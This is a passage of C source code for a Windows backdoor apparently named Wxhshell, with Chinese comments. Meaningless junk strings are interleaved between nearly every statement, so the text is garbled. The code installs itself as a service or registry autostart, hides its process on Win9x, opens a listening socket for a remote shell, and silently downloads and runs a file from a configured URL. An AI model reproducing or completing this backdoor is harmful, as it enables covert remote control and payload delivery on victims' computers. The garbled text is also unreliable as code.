Xc=nj +G6 Ge; HMODULE hMod; 0a2#36;_IK char procName[255]; j 8)*'T unsigned long cbNeeded; dZY|6 rJ{k1H > if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z,DSTP\| R=3|(R+kA CloseHandle(hProcess); +Ks 3 "rrw~ if(strstr(procName,"services")) return 1; // 以服务启动 vm7ag 7@O q|}O-A*wa return 0; // 注册表启动 <TTBIXV } A34O(fE !sp`oM // 主模块 q"5\bh1" int StartWxhshell(LPSTR lpCmdLine) 'ka}x~EF { :NL[NbQYt SOCKET wsl; #uV J BOOL val=TRUE; ;9Qxq] int port=0; "(iDUl struct sockaddr_in door; au]W*;x $:yIe.F if(wscfg.ws_autoins) Install(); vJ{F)0 K oE_*hp+ port=atoi(lpCmdLine); v
8EI I/%L,XyRI if(port<=0) port=wscfg.ws_port; :r2d%:h%2 RG=i74a WSADATA data; voFg6zoV_ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kxR!hA8wv4 K^",LCJA if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1\%@oD_zG setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +s6v!({Z door.sin_family = AF_INET; K^h9\<w door.sin_addr.s_addr = inet_addr("127.0.0.1"); [&IcIZ door.sin_port = htons(port); (+6N)9rj`/ VN0KK
1I if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^ZIs >.' closesocket(wsl); +^jm_+ return 1; Rt7l`|g a+ } (Y*9[hm -Mf-8zw8G if(listen(wsl,2) == INVALID_SOCKET) { w5yX~8UzJ closesocket(wsl); Yhz Dw8f return 1; l$kO%E' } |N}* Wxhshell(wsl); ;Ea8> WSACleanup(); dq%C~j{v })`z6d]3 return 0; )w5!'W4Z8 P#MUS_x } F vTswM> WFzM s // 以NT服务方式启动 q{%~(A5*H VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5i}g$yjZ< { upaQoX/C DWORD status = 0; ;<GK{8 DWORD specificError = 0xfffffff; {>PEl;,- B873UN serviceStatus.dwServiceType = SERVICE_WIN32; @LFB}B serviceStatus.dwCurrentState = SERVICE_START_PENDING; t&p I serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >K&chg@Hv serviceStatus.dwWin32ExitCode = 0; .'. bokl/ serviceStatus.dwServiceSpecificExitCode = 0; ?p/}eRgi serviceStatus.dwCheckPoint = 0; EM@EB<pRX serviceStatus.dwWaitHint = 0; H!6+x*P0 (sI`FW_ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hT,rcIkg: if (hServiceStatusHandle==0) return; '?
-N 5wdKu,nq status = GetLastError(); P_b!^sq9 if (status!=NO_ERROR) w ~"%&SNN { E^gN]Z"O serviceStatus.dwCurrentState = SERVICE_STOPPED; BR-wL3x
b serviceStatus.dwCheckPoint = 0; .S1MxZhbP serviceStatus.dwWaitHint = 0; ji\&?%(B serviceStatus.dwWin32ExitCode = status; Jamt@= serviceStatus.dwServiceSpecificExitCode = specificError; ho)JY
$#6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); }I MV@z B return; ;y{(#X# } ?S9vYaA$ a@Zolz_Z serviceStatus.dwCurrentState = SERVICE_RUNNING; e2BC2K0 serviceStatus.dwCheckPoint = 0; f`*VNB` serviceStatus.dwWaitHint = 0; WgG$ r if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {LVA_7@ } BJ\81 R WMW=RgiW\ // 处理NT服务事件,比如:启动、停止 '/9q7?[E! VOID WINAPI NTServiceHandler(DWORD fdwControl) ;;m;f^]} { DSWmQQ switch(fdwControl) ?Ok&,\F@E { {-MjsBR case SERVICE_CONTROL_STOP: fFoZ!H serviceStatus.dwWin32ExitCode = 0; `KE]RTq serviceStatus.dwCurrentState = SERVICE_STOPPED; I<XYLe[_S serviceStatus.dwCheckPoint = 0; I-1NZgv serviceStatus.dwWaitHint = 0; Jh<s '&FR { OSLZ7B^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ fyue~9u } LEe{fc?{ return; 3TZ: case SERVICE_CONTROL_PAUSE: ,%BDBZ serviceStatus.dwCurrentState = SERVICE_PAUSED; ]T&d_~l
break; R/Z7}Q W case SERVICE_CONTROL_CONTINUE: -j2y#aP serviceStatus.dwCurrentState = SERVICE_RUNNING; =9`UcTSi6p break; (2QfH$HEk case SERVICE_CONTROL_INTERROGATE: >qOj^WO~ break; w (z=xO }; #,#:{&H SetServiceStatus(hServiceStatusHandle, &serviceStatus); pq\N2d } Hq,@j{($ tl*h"du^ // 标准应用程序主函数 8h4]<T int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "nb.!OG~( { ~R~.D .p*?g; // 获取操作系统版本 `m8WLj OsIsNt=GetOsVer(); Pa+_{9 GetModuleFileName(NULL,ExeFile,MAX_PATH); `u
R`O9)e 1c429&- // 从命令行安装 R*FDg;t4 if(strpbrk(lpCmdLine,"iI")) Install(); C"mWO Y2] g oyQ',+ // 下载执行文件 S("dU`T? if(wscfg.ws_downexe) { ~IWdFUKk if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [}GK rI WinExec(wscfg.ws_filenam,SW_HIDE); B"\9sl X } "wg$ H1K AL^tUcl if(!OsIsNt) { ggitUQ+t;G // 如果时win9x,隐藏进程并且设置为注册表启动 H~mp*S HideProc(); [~RO9=;L StartWxhshell(lpCmdLine); E/wxX#]\ } FC6~V6R else XJKns if(StartFromService()) NI.ROk1{+4 // 以服务方式启动 R".$x{{ StartServiceCtrlDispatcher(DispatchTable); dLF*'JjY else sWMln:= // 普通方式启动 }<@-= StartWxhshell(lpCmdLine); 1-N+qNSD` ~K;hXf return 0; -:"KFc8A }
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